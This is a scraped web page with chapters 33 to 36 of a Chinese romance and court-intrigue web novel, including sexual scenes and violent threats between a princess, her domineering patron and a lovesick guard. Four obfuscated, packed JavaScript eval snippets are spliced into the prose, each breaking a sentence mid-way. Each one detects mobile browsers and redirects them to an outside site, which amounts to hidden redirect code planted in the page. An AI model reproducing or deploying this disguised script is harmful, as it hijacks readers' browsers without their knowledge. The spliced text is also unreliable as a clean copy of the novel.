;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974428|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这样毒的誓,她也要照着念吗?纵使她不信神,可也不会闲着没事干发下这样的誓言,万一灵验了怎么办。 为了一世恩情,要把世世都抵押进去吗? “你要是不念,你知道后果。” 冰冷无情的声音清晰地传来,她自然知道后果,不是让她生不如死,就是要扒了她的皮,生吃了她。 燃烧过半的红烛。神龛上端坐的威严神像。袅袅缭绕的青烟。面无表情瞪着她的他。 江令薇碰了碰唇,踌躇着道:“爱……是什么?” 世人都追捧爱,书里,庙宇……偶尔都能寻见一些世人渴求爱的踪影。 颂情的诗句在街巷间传得到处都是,庙宇里的姻缘树下挂满了祈愿的木牌…… 她看过,见过,却仍不是很明白。 裴渡舟慢慢抚上她的眉眼,神态冷峻,声音却轻缓:“又在龟缩自己。人怎么能做到你这个份上。” 她愣了几息,张了张唇,然而又不知该说些什么。她做人不对吗? “两年以来,我们几乎日夜在一起。”他朗星似的眸子直勾勾地盯着她,循循善诱道:“你启程去漠北的前天夜里,抱着我跟我说了很久的话,那模样,真像个红着眼的垂耳兔。素日里你话不多,都是我在说话,为何那天通宵跟我说了那么久,你想过原因吗?” 没等她答复,他又道:“漠北的三个月,有想我吗?” “晚上睡觉的时候,会梦到我吗?” 随着他一声又一声的询问,江令薇完全说不出话,黑白分明的眸子里写满了对他的不知所云。 为什么要想原因,起心动念了就去行动,探究原因是为何。 至于第二个问题,很少想他。只在撞见少隐给他写信时,脑海里闪过他的面容,但心中蒙生的也并不是思念,而是不快,为什么要那么管着她。 第三个问题:只梦到过一次,也不是单单梦到他。 无数个为什么开头的答案徘徊在喉咙里,在他似含着压迫,又似藏着殷切期盼的眼神注视下,始终说不出口。 是什么原因呢? 不知道,也不想追根溯源,没有必要。 江令薇漠然地垂下眼,浓密的睫毛掩下了其中的虚无。轻轻地颔首,附和他的话。 即使只是简单的点头,连口头上的认同都没有,但裴渡舟心跳还是猛然漏了一拍,律动失了常,与爱相伴相生的恨猝然消失,琥珀色眸子里倒映着属于她的光影,“那还在等什么,乖孩子。”他眉眼温柔,近乎诱哄。 她抬起头,沉默着看看上首的塑像,又将视线投在他身上。最终在他耐心即将告罄,脸色转沉的时候,她心一横,如他所愿在神明前,许下终生的誓言。 只要,以后不在嘴里说不爱他,誓言就不会应验了吧? 狭窄隔间里,她认真地发着誓,身旁的视线炽热无比。 然而誓言饱含深情,音调却平淡无波。她始终不懂何为情。 语毕,有人俯身,在她额前落下一个珍视的吻,姿态近乎虔诚,仿若在朝拜心中唯一信奉的神明。“我就知道,我的薇薇是最乖的孩子。” 33. 第 33 章 圆月皎洁,悬挂夜幕。转眼已至子时。 今夜有许多人都睡不着觉,京师里外,皇宫内院,高门大宅,缧绁牢狱,街巷坊市…… 原因皆是为了周家。或愁或喜,或悲或怒,不尽相同。 唯有位于长安街南边的公主府里,有人不得眠的原因与周家无关。 宽敞温暖的卧房里,浅色镂花帷幔掩映的床榻正中,江令薇仰躺在柔软的被褥间,双手紧攥着身侧的云锦毯子,骨节都攥得发了白,脸上表情似痛苦似欢愉,仿佛正在承受折磨,又像是无边的享受。 帷幔下摆花纹细密,遮住了余下光景。 只能依稀能见一些啧啧水声交缠的动静,其中还夹杂着几声难耐的求饶和轻笑。 “不喜欢吗?” “……也……也不是,你别呼气……” “有吗?冤枉我。” “不……不准说话,快点……” “公主殿下好凶啊。” 不大一会儿,床帷里动静加重,交缠变为了吞咽。 又是一会儿过去,逐渐趋于安宁。 江令薇睁开被刺激得流泪的眼睛,无力地推了推下首的脑袋,音调发颤:“可以了,快去净面……” “你帮我。”裴渡舟扬眉,腔调带着懒散的笑意,在她勉强同意后,才慢条斯理地支起身,拿过事先准备好的脸巾,浸入鱼洗盆中打湿。 江令薇接过湿润的巾帕,想坐起身,但身体太受刺激,根本没力气起来,而面前的男人好整以暇地坐在床边,大手插进她额发里,薄唇微弯,戏谑道:“不是要给我擦?” 她嘴角瘪了瘪,知晓他是故意的,但也毫无办法,只得闷着声音道:“那你低头。不然你就只能自己擦了,反正你也不肯拉我起来。” 面前骤然放大一张俊脸,眸底含着笑,眉峰微挑,“殿下好大的脾气,臣惶恐。” “你惶恐?”江令薇蹙着眉心,根本不信,他还惶恐上了,那刚才在书房里百般威胁她的人是谁? “当然。”裴渡舟应得煞有其事,嘴角漾起一道似笑非笑的弧度,“殿下乃是皇子,不久之后又将加封郡王,入刑部当值,臣如何比得过您,日后还要仰赖殿下庇佑臣,今日你的二哥,把臣好一顿痛骂,你说,你要如何做?” “真的吗?”她双眸霎时变得亮晶晶的,很明显只听到了前半句话,虽然一早就知道扳倒周家后会有好处,但亲耳听到的那一刻还是不可避免地感到满足。 “你看起来,很兴奋嘛。”他居高临下地睨着她,笑容渐渐消散。 “啊?”她睁大眼睛,圆润的杏眸划过几分不解,加官进爵应该是个人都开心吧,作势正准备问出口,眸光注意到他现在的样子,忽然一滞,临到嘴边的困惑转为关心:“要不,还是先擦擦脸再说话?” 连长睫都被沾湿,更不要提分不清是汗液滴落,或是其余水液的面孔,还有正抿成一条直线的殷红薄唇,她离得近,连其间细小的唇纹都看得见。 和先前略有些干燥的状态比起,现在纹路之中带着温暖水雾蒸腾过后的湿润,在不甚明亮的帷幔掩映下,莫名显得惑人。 她舔了舔干涩的唇,乌黑分明的眼睛盯着他有些出神,几乎是目不转睛地看着,刚才的满足倏忽间被抛之脑后,有了新的目标。“别动,我给你擦。”说完,她捏着巾帕朝他脸上拭去,幅度很轻柔。 “色胆不小啊,殿下。”裴渡舟不咸不淡地开口,身体却诚实地离她再近一点,好方便她的动作。 “嘘,不能说话。”江令薇一本正经地摇着头,专注地为他擦拭湿润的水液。 “哦?这是为何。”他用眼尾轻轻扫过她白皙的指尖,嗓音低沉。 “因为你一说话,我就不想睡——” “睡什么?”他唇角微弯,然而笑意不达眼底,“难道是不喜欢我说话,觉得扫兴,是这样吗?原来你当真觉得我气性很好?” “是……呃,也不是,你误解我了。”她及时憋住嘴里呼之欲出的话,却用巾帕下意识捂住他的唇,颇有些此地无银三百两的意味。 果不其然,裴渡舟笑容全无,神情沉了下来。 按照以往,江令薇嘴快被发现之后,就该绞尽脑汁地想理由,好应付过去。但现在不同,他的一颦一笑,一喜一怒都像掺杂着使人动情的药物似的,唤醒她身体里蛰伏的野性。 想睡他。 但是要先净面,擦干净。她没有和自己亲密的癖好。 “不生气,不生气……”纵使心神被他现在的模样牵动,她还是近乎条件反射地道出哄人的语句,双眼泛着不甚清醒的光晕,“加封郡王,当然会兴奋,加官进爵,人生美事,但还有一点,是我又多了一点地位,以后能多保护一点渡舟哥哥。” 裴渡舟剑眉弧度缓和,用眼神寸寸描绘过她的面容,星点笑意藏在瑞风眸深处,随着她的话一点点显露出来,使眉目弯折,不快的情绪烟消云散。 江令薇还在继续说,明明从前她哄人哄得甚觉吃力,也认为他太过不可理喻,人没哄好,自己先不耐烦了。但如今许是欲望使然,丝丝缕缕的渴求穿过一直被压着的不满,撬开过往的回忆,将遇到的一幕幕往事全部拉出来,在其中寻找宽慰男子的语句。 街头巷尾,书中,军营中……尽可能地多加回想,一个都没放过。 至于原因,可以说只有一个——她想睡他。 不过套用别人的话说了半天,却见他的脸色又有转沉的趋势,似乎看得出来那些话并不是出于她的真心。 江令薇被此刻的男色迷了神智,几乎是下意识地遵从自己内心早就琢磨过的想法,一边温柔擦过他的面庞,一边温声道:“其实我真正想说的是,你虽然是丞相,可父皇是在装病,周家彻底死绝之后,他的病大抵会好,到时候,谁会容得下代批阅奏折,一人之下,万人之上的丞相呢?朝野之中,你该如何立足呢?” 裴渡舟不语,直勾勾地盯着她。 “从皇城司爬上来,一定很辛苦吧。你虽然从不和我说这些,但我知道,皇城司从来都是一个血流满地的牢狱,那里面的人勾心斗角,没有半丝同僚情谊可言,所有人都铆足了劲想往上爬,成天子心腹,光耀门楣。现在的指挥使孟兴据我所知,是你提拔上来的,对你很忠心,可天下皆归父皇所有,你能给的,父皇能给更多,他的忠心又能保持多久呢?内忧外患,群狼环绕,处境堪忧。 没了你这个丞相,立刻会有下一个丞相;没了我这个公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974429|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立刻会有下一个公主。我是想往上爬,被看重,得器重,不仅仅是因为想要荣华富贵,天家权柄。更多的是,我也想保护你。有了权势,就能做很多很多事情,在这些事情之中,我最想做的,是想要你好好的。 为此,我愿意做任何事。” 与之前在神像前被逼着立誓不同,这一刻的江令薇,所言皆是真心,是心甘情愿。 她厌恶他总是揪着一点小事不放,老是因为一些没必要的事情生气,死死管着她,逼迫她…… 可因为有恩情在,她愿意忍耐,不去计较。也许这其中还夹杂着连她自己都没发现的情愫,但于她而言,真正的原因与理由究竟是什么根本不重要,她只知道,她终归会用自己的一切回报给他。 巾帕从她指尖落下,她抚摸着他面庞上细腻的肌肤,缓缓闭上眼。 下一刻,她吻了他。 湿润温暖的唇舌缠绕在一起,津液生香,听从内心最突出的野性,嘬吸,亲吮…… 燥热渐升,恍惚间,有一滴滚烫的液体划过她的眼尾,顺着脸部弧度淌进耳朵里。 “你……哭了?”江令薇倏然顿住动作,感到不可置信,刚想睁开眼睛,双眸就被一只宽大的手掌覆盖。“别看。” “我……好好的,为什么要哭,我哪里说错了,让你不开心了?”她立刻回想刚才说的话,但想来想去,没有任何问题,到最后她也只能把这一切归结于他让人看不懂的性子——生气得莫名,伤心得也莫名。 “没有,是你没擦干净。”嗓音清冽,又透着几分迷人的磁性,仔细听,还能从中窥见一些温柔的笑意,似乎真的是她感受错了,并非流泪,而是之前的水液。 “这样啊,那还亲——”江令薇信以为真,正想问他还亲不亲,身体就被一股大力紧紧拥住,那力道大得仿佛想与她合二为一,融进骨血,刻进肺腑。 “你怎么了?”她有些担心,今天他一整天都怪怪的。 裴渡舟手指轻拭过她的唇,薄茧刮过,蹭得她痒痒的,本就没彻底消下去的野性再次爬升了一点,但她却没有再做什么,乖顺地躺在榻上,承受他带着爱怜的抚摸。 当然,最主要的原因是,今天被打断多次,再多的兴致,一想到接下来可能还会出什么差池,就瞬间减退,没兴趣了。 “我很高兴。”他闭上有水雾氤氲的眸子,低头蹭了蹭她的鼻尖,慢慢地下移,寻找她的唇,轻轻吮吸,逐渐加重。 “唔……高兴就好……”她出声附和,长睫颤动,想要看看他的样子,却又被捂紧了几分。 “专心点。”含糊不清的声音裹挟着清晰可辨的吞咽穿过她耳廓,流淌进已经冷却的心头。 他一手捂着她的眼,一手悄然爬上她的脖颈,掐着她白净脆弱的脖子,用力地吻着。 今日,从嫉妒到怒气,再到温情与悸动。她总是能轻易挑起他的喜怒哀乐,纵使什么都不做,什么都不说,光是用那双乌黑分明的眼睛看着他,胸腔中的情愫就浓烈到一个不可思议的程度。 想和她一起,做所有夫妻会做的事情。 刚才她那番近乎自白的言语,比书房中的誓言还要让人情动,沉溺…… 想让人为之生,为之死。 34. 第 34 章 公主府邸南边有一片开辟出来的院落,是供仆从居住的偏院。 其中最大的一间屋子门扉未关好,开了条小小的缝隙,里头并未点烛火,借着月光,能看到进门不远处就是一扇绣着山水的酸枝屏风,有一抹黑影映照在山水之间,一动不动,像在等着谁。 月光渐渐微弱,门扉才被从外推开。 黑影瞬间从屏风后现身,垂着头结结实实地跪在地上,“主子。” 良久未说话,一开口声音哑得厉害,像有碎石碴嵌在口腔里,扎得人生疼。 “你跟了我几年了?”裴渡舟立在门扉边,颀长的身躯挡住了微弱的月光,还有天边正泛起鱼肚白的晨光。 “已有十年五个月……” “原来已有十年,你母亲有你这个孝顺的好儿子,想来已托生至大户人家,再不用为吃穿生计发愁。”裴渡舟淡声开口。 话音落下的瞬间,不出所料地见到地上人身形微颤,过了一会才传来声音,栖息着无边的苦涩与悲凉,细听还有一丝压抑着的哽咽。 “属下有罪……对不住主子的大恩大德,也愧对阿娘的教导,再无颜苟活于世,还请主子赐属下一死……” “你确实该死,只不过我和你母亲有言在先,到底也不好叫她老人家失望,把伤养好,去北州找慕容,那里偏远苦寒,他也算是辛苦,你去了,替他分担些。” “……属下遵命,定会好好协助慕容大人。” 裴渡舟扯了下唇角,眸光中却是讥诮,“记得,定要养好伤再去,不要让人以为我苛责了你,有人可是关心你关心得很。” “主子从未苛责过属下等人,是属下罪该万死。”少隐颤着音调回答。 这话委实不假,裴渡舟手下的人,虽然时常会有性命之忧,但月例待遇一向极好,佳节年末,还会专门犒赏银钱田宅,无论是在京师,还是各府州,都是不可多得的好待遇。 晨光重现,沉稳的脚步声渐行渐远。 少隐再也维持不住身形,脑袋发重,跌倒在一侧的红木桌脚下,脸上碎裂的面具咔哒一声,终是掉了下来,滚落至他脚边,隐入晨光照不到的阴暗里。 心头各种情绪翻腾,顺着经络流向全身,几乎让人疼得无法呼吸。 秋水似的黑眸麻木地注视着天边高挂的月亮,过了半晌,一声沙哑的轻笑从他喉咙间溢出,带着几分不为人知的心酸,还有悲凉。 北州慕容正,主子的又一心腹,与他向来看不顺眼,恨不得杀之而后快,去了那边,会遭到什么对待可想而知。 不过,这一切也是自己活该。他自嘲地想着。 他幼时失怙,与阿娘相依为命,可惜老天无眼,让他阿娘生了场大病,昂贵的药钱便是把他卖了都不够。彼时恰逢皇城司招人,只要闯过第一关,便能得十两银子。 很多人争着去,趋之若鹜;很多人尸首分离,死在当场。 万幸,他咬着牙,被打得满脸是血活了下来,之后凭着不要命的冲劲,成功进入了鼎鼎大名,为皇帝爪牙耳目的皇城司。 要想在皇城司活下去,只有不停地变强,往上爬。几年时间,他的双手已经沾满血腥。 恶贯满盈的富商贪官、嗷嗷待哺的襁褓幼儿、行侠四方的绿林好汉、街头好心给予他饭食的耄耋老者……没有原则,没有底线,只要有命令有吩咐,他从不手软,全杀。 他曾认为,死后有可能会下十八层炼狱,被诸神问罪,炼化魂魄,直到再无转世可能。 那就下吧,他等着那一天。 是的,他丝毫没有感到自己有任何不对,他能活着,这就是莫大的正确和正义。 然而天不遂人愿,老天爷从不怜惜任何一个人。 他阿娘的病愈加重,请回来照顾的医者每天托人进皇城司告诉他,前天米水未进,昨天呕血晕倒,今天还未醒来…… 没有比那一封封口信更令人绝望的事情,他四处托人寻找名医,为了钱不要命地接任务。 十天的刺杀,他硬生生冒着被打断双腿,成为残废的风险三天就完成了。赶回家的那一刻,他阿娘已经消瘦得不成人形。 人怎么能瘦成那样子,简直就是一把快要散架的白骨。 作为人子,他各种办法都用尽了,求神拜佛,寻医问药……就盼着有一天他阿娘能好起来。 但是无论多有名望的医者都告诉他,他阿娘已经药石无医,没人能跟老天抢人。 很平常的一天,他照例出门去托人请各地名医,就像听不懂人话那样,执着地不肯信那个已成定局的事实。回到家,彼时还是皇城司副指挥使的裴渡舟带着一个娃娃脸的男人站在他家门前。 面对这位向来以心狠手辣闻名,且颇受皇帝宠信的裴大人,他的第一反应是来问自己罪的。然而让他不可置信的是,竟是特意让人来救治他阿娘的。 那名娃娃脸的男人,就是医圣初泓大师门下高徒——李疏。 不过半天,他阿娘气色奇迹般地好了许多,虽然不至于恢复到以前,但只要仔细看顾,精细药材,大把银钱撒下去,还是能好好活下去。 从此,他立誓永远为裴渡舟驱使,至死方休。 虽然好景不长,他阿娘最后还是被无情的老天收走了,但他永远记得阿娘转危为安那一天发过的誓。 永远为其做刀柄,当枪杆。 遇见江令薇的那一天,是一个阳光正好的清晨。 已经步入朝堂的主子是这样介绍她的——公主之尊,君王之才。 这八个字曾将他惊得无法反应。特别是在听到她懵懂学语的时候。 主子要扶持的君王竟然是个痴儿…… 他当时差点都分不清那是现实还是梦境。 当主子隐含威压的声音传来时,他知道,所言所行都是现实。 ——江令薇,他将终身侍奉的殿下。 自此,他牢记主子所言,把尊卑有别刻在脑子里,不越界限半步。 第二次见她,是某次执行任务回来,正准备向主子复命。 途径后花园,她正在练剑,无数花瓣落在她身侧,有几瓣还进了嘴里,她尝了一口,然后皱着眉头呸呸吐掉,嘟囔着难吃。 他没有继续多看,不能耽误复命的时间。去书房的路上步伐如常,但心跳不知为何快了几分,当时的他没多想,只以为是来的路上跑太快了。 可如今,他恍然发现,那时是缓步进府的,心跳不会快。 第三次见她,仍旧是晚上执行任务后到厨房吃饭,他提前跟掌勺的良叔打过招呼,厨房里给他留了饭,一推开门,他就发现了里面有人。 借着月光,他看到有一抹靛蓝裙角出现在灶台后,是她。 本想出声,但余光看到她瑟缩了一下,似是害怕。他迟疑了下,最终没再管她。 他端起良叔准备好的膳食,坐到一边吃,是肉肘子配一些蔬果,鲜香好吃,味极鲜腴,良叔手艺真是越来越好了…… 在寂静的黑夜里,他听到了几声吞咽口水的细微动静,看着厨台上轻微翻动的痕迹,他知道,她是在找吃的,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974430|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为何不吩咐人去做,而是独自来厨房呢? 吃完了第一碗饭,他看了眼另一个碗里良叔怕不够吃准备的第二个肘子,没有再动,直接推开门走了出去。 果不其然,一小会儿后,他听到了切肉的声音。 嗯?怎么会是用刀切肉? 他耐心等着,在她鬼鬼祟祟地缩回角落里后,进了厨房,那块肘子有一道切口,约有三分之一,是觉得他还会回来吃吗? 他看着那块肘子,明明已经吃饱了,忽然鬼使神差地拿起来,在切口处咬了一块肉。 ……良叔没洗刀,有一股瓜果味。 后来他退回门外,这次过了好一会儿,里面才传来动静,似是在确定他真的走了。 他抱着臂站在门边,里面的她几乎是在狂塞吃食,除了那块肘子没动,其余蔬果肉类连眼都不眨,拼命往嘴里塞。 他当时都愣住了,就这么饿吗? 意识到不对只是在刹那,他连忙跑去告知还在书房处理政事的主子,结局好像是她被主子立了通规矩,他不甚清楚,只是每次晚上去厨房吃饭的时候,都会下意识地看一眼她曾藏身的那个昏暗角落。 第四次见她,第五次见她……数不清是多少次见她。 直到那次她出征漠北,主子选了他,陪在身边保护她,临走那天,主子叮嘱了很久,她歪着头,不时应声,主子为她整理仪容,抱着她说要照顾好自己。 他在一边看着,不知为何,那天胸口有些不舒服,闷闷的。 ……好像这个症状持续了蛮久,久到他以为那是自己身体的一部分。 她上了马车,最后有一些东西没带,他回去拿,远远地看到主子还在原处,见自己回来,急忙问怎么了。 回答后,主子明显松了口气,那是他第一次见到主子脸上有那样焦急的,悬着的心放下的,还有……不舍的表情,主子也许自己都没发现,向来平静无波的眼睛竟变得有些红,原来冷静自持的主子,有一天也会因为分别出现这样的神态。 喜欢一个人,当真奇妙。 他一边收拾东西一边想。临走时,又吃了点李疏开的药,因为胸口更闷了。也不知道到底是怎么了…… 所有问题的答案,所有不愿承认情愿逃避的心思,在这一刻,天光破晓时,通通显露出来,沉甸甸在心头萦绕。 尽管再不愿意,再不想承认,那也是不争的事实。 他爱上了一个不该爱的人。 情是怎样开始的,他不知,只知道在现今意识到的时候,爱已经深入了骨髓,剔骨削肉也拿不出来。 这份爱就像他脸上的面具一样,永远藏在里面,见不得光。只有独自一人的时候,才能窥见点滴情绪的波动。 天光逐渐大亮,照出了屋子里的一切,开得芬芳馥郁的粉色山茶花盆景。正前方楠木山水纹方桌上分别盛有药渣和水的瓷碗。还有纹丝不动靠在桌脚下周身气质灰败的他。 光线破开屋里的暗沉,落到他身上。 下一刻,少隐闭了闭眼,撑着手脚步趔趄地从地上爬起来,环视屋内,随即粉饰太平般地朝一侧的方桌上走去。 药是昨天喝剩下的,水也早冷了,他也不在意,端起瓷碗准备喝一口,喉咙里简直太难受了,像有什么东西堵在里面,又涩又苦。 不过,低眸的时候,清澈的茶水清晰地映出了他现在的模样。 他下意识地想躲。 然而不凑巧,屋子里天光大亮,他避无可避。 临水自照,一张美人面。 35. 第 35 章 旭日东升,这一日的十公主府很热闹。 辰时一过,皇帝近侍福来便亲自带着圣旨,身后跟着一长串的宫人,端着无数金银玉石,珍宝良药,一大批人浩浩荡荡地进了公主府。 对此,江令薇面上自然是感动不已,听着圣旨里对于她的封赏,看着那晃人眼的银钱宝石,心里满足极了,一双乌黑分明的眼睛亮晶晶的,似夜幕悬挂的星星,璀璨,惑人…… 去李疏那拿药回来的少隐刚打起转角处的帘子,就见到这幅画面,心脏下意识一缩,分不清是悸动还是酸涩。 也许,都有。 传旨的福来笑眯眯地把圣旨呈给江令薇,说皇帝极为挂心公主,经常念叨。 江令薇会意,配合地说自己养好伤之后定会亲自进宫谢恩。 把她面上不似作伪,掩也掩不住的满足尽收眼底,福来心底感慨,表面不动声色,又说了些话,最后在府中吴管事的相送下,离开了公主府。 院子里的仆役在收拾赏赐下来的金银,江令薇站在院子里,打量着手里蚕丝制成的圣旨,其间还用金线绣了祥云瑞鹤,花样繁复,尽显天家富丽堂皇。 余光瞥见少隐的身影,她忙朝他招了招手示意其过来,但忽然想起他腿脚如今还不利索,遂朝他大步流星地奔了过去。 少隐面上是才找李疏拿的银质面具,不过与之前那幅把全部面貌挡得严严实实的面具不同,这是一副只遮到鼻梁上方的面具。 世人最常用的也皆是这种样式,想要之前那种完全挡脸的,得需要一段时间才能制成。不过,对现在的少隐来说,已经不需要了。 不日,他即将启程,离开公主府,离开她身边,前往北州。 少隐竭力平复着心间因她而起的波动,恭敬地垂首等在那。 “你找李疏看了腿吗?他怎么说?”江令薇关心地打量着他黑色常服下修长的双腿。她本来打算待会去看他,没成想这么巧直接撞见了。 “属下无事,多谢殿下关心。”少隐眼睫轻颤,语气一如既往的稳重平淡。 “没事就好。”她回答。又忆起昨晚的事情,不免感到疑惑,“昨晚是渡舟哥哥叫你去做什么事情,你没完成?所以他才那样对你?” 一提到这件事,少隐心头发紧,他努力忽略那些细密的隐痛,尽量平静地回道:“是之前属下还未被调至殿下身边,在北州时的事,属下过于疏忽,主子已经命属下将功补过……” 说到这,少隐终究还是没忍住,抬起双目,克制地看了眼江令薇,眸中含着不明显的眷恋,“不日,等腿上伤口痊愈后,属下便将启程前往北州,以后不能再保护殿下您了。” 面对这双似乎会说话的如画黑眸,她先是被其中复杂但又浓烈的情绪惊了一下,才注意到他换了面具,较之先前的样式,这幅面具能看见他完整的眼型,是一双丹凤眼,眼尾略微上翘,细长有神韵,是极美的。 有这样一双眼,和他所自己所评说的面貌丑陋很明显不搭边,不过江令薇也没有多问,她没兴趣窥探他不愿显露的容貌如何。 “这样啊,北州苦寒,据说一年到头都奇冷无比,不比京师,你要多加注意。”她没有阻止他去,因为她知道裴渡舟是万万不会同意的,与其吵一架之后什么也改不了,不如不说,反正最终结果不会变。 江令薇唤来刚从廊下过来的吴管事,对少隐道:“今日父皇赐了我很多金银,我分一半给你,以全恩情。当然,这些金银是抵我给你写的欠条数目,救命之恩,必当涌泉相报,我答应过你,我有好处,必不会亏待你,所以,记得早点回来。” “……”少隐呼吸发颤,平静的面容终究被打破,泄露出几分掩藏极深的苦痛,但只是一刹那,快到谁都没有看清,他就已经调整好了起伏的情绪,然而声音却无力改变,透着一些沙哑:“属下之前对殿下说那些话,属实罪该万死,还请殿下……就此忘了吧,属下实不敢受如此多的金银。” “你不要了?”江令薇眉头锁着,猜测道:“是怕他再次责罚你?” 这个“他”指的是谁,在场之人都心知肚明。 “属下之前不太清醒,一时糊涂才说了那些冒犯殿下的话,您是主,我是仆,救您是属下职责所在,理所当然的事。”少隐丢下这句话,匆匆行过礼,便要告退。 恩情用金钱回报,很常见的事,可彼时的她没钱,所以他那时的要求就意味着,将恩情与关系拉长再拉长,直至纠缠不休。但昨日发生的事,叫他明白,他的贪心已经被人看了出来。 他的罪名多不胜数…… 吴管事眼观鼻鼻观心地候在一旁,表面平静如山,内里却不敢相信自己听到了什么,一向沉着稳重,办事从不疏忽的少隐大人,先是被主子当众掌掴,理由是生了不该有的心思。 虽未明说,但少隐大人一直贴身伺候殿下,还能对谁生了不该有的心思,如今听刚才的对话,怕是少隐大人又曾开口要殿下报恩,这……主子打得好像并不是很冤…… 少隐步子迈得极大,因着腿伤几乎是一瘸一拐地在走。似是身后有什么洪水猛兽在追,稍微慢一点便会被分食入腹,丢心弃命。 见人这样,江令薇心里满是不解,跑那么快干什么? 眼看少隐身影即将消失在视野中,她忙三步并作两步,一个箭步就冲上去唤住前方男人,“等等。” 话音落下的瞬间,少隐身体晃了晃,喉头发紧,心里情绪复杂难言,不过双腿却立刻停了下来,为方便她的问话,还下意识地转了身。 他无法违抗她的命令——意识到这个认知后,除却常伴内心的苦痛之外,还有一丝连他自己也说不清道不明的期盼。 在盼望什么? 脑袋里面划过各种乱七八糟的念头…… 最终被她的声音打散,拉回现实。 他什么都不能盼望。 他是个需要赎罪的罪人。 “少隐。”江令薇盯着他垂下的双眸,嗓音微冷,“你说要就要,你说不要就不要,侍从是这么当的吗?” 不再是温和,有商有量的语气,白净的面庞没有任何表情,连带着那双圆溜溜的杏眸恍惚间也多了几分凌厉。 少隐气息乱了一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974431|161367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一股不可言说的涩然爬进心头,她……很少这样跟他说话。 不知道该怎么回答,他沉默不语,只把头垂得再低了几分。 “回答我,不可以不说话。”她伸手捏住他的下颌,使其抬头,声音里含着不容拒绝的命令。 “您……属下,”感受着下颌上传来的寒凉温度,少隐瞳孔一缩,就这样顺着她的力道怔怔地看着她,翻来覆去几个字来回说,像是大脑被她的温度冻住,无法思考。“属下……有罪,罪不可赦……” “我不是断案的官吏,无法定你的罪。”江令薇松了手,眸光下移至少隐受伤的大腿处,语气缓和不少,“不过你放心,昨晚我就把要给你赐金的事情告诉给他了,他没有反对,你无需害怕。你是我的恩人,不过是金银,自然受得起,不要妄自菲薄。还有周洪,我问过他了,是下月初一在午门问斩,我会专门请最好的大师做法,叫他死也不能超生,尸体被虫豸蠹蛆啃食。 对了,他伤了你的腿,我把他的腿砍下来送你,好不好?” 她说得一本正经,即使话里的意思残忍无比,那双圆润的杏眸也依旧澄澈。少隐知道,她是认真的。 她愿意冒着有可能被京城的人发现的风险,去为他出气。她对他的保证从来言而有信。 这一切都归结于三月前那个寒风凛冽的清晨。 他为她挡下了那把锋利无比的弯刀,自此,她的眸光也偶尔会为他停留。 分不清是不想听到她再次变冷的语气,还是私心里想应和她,贪婪地把她温和的神态记在心里,他缓缓点头,“好……” 江令薇给吴管事递了个眼色,吴管事会意,立刻上前,她道:“如果觉得要去北州,身上带着这些金银不方便,你可以先存放在你自己屋里,或者叫吴管事给你兑成好携带的银票,都行,随你心意。” “好……”少隐喃喃回答。 “另外,在你养伤的期间,如果有人敢不长眼怠慢苛责你,你一定要跟我说,我也会叫吴管事多加注意的。”虽然知道府中规矩极严,不可能会有仆役做出这种事,但为了以防万一,她还是事先吩咐下去了。 吴管事在一旁颔首,恭敬道:“少隐大人放心,绝不会有这种事。”便是殿下不说,依少隐大人自己的功夫,敢找茬的人一定是不想活了。 少隐感受着喉头的干涩,张了张嘴,又是一声好。 “回去吧,好好休息,我先走了。”说着,江令薇作势欲离开。 在即将转身之际,有人唤住了她。 回头,猝不及防之下便撞进了一双微弯的丹凤眸里,闪动着含蓄又温柔的笑意,像是清澈的秋水,波光潋滟。可能是不习惯对人笑,眼角有些抽搐,但不掩姿色,虽然戴着面具,然而面孔半遮半掩间,更显眉目如画,姿容不凡。 “属下会永远记得。”他道。至于是记得什么,没有明说,只有心知道。 江令薇有一瞬间被他眸中的笑晃到了眼,回过神后,道:“很漂亮,以后多笑笑。” 言罢,离去。 身后之人伫立良久,视线久久追随。 36. 第 36 章 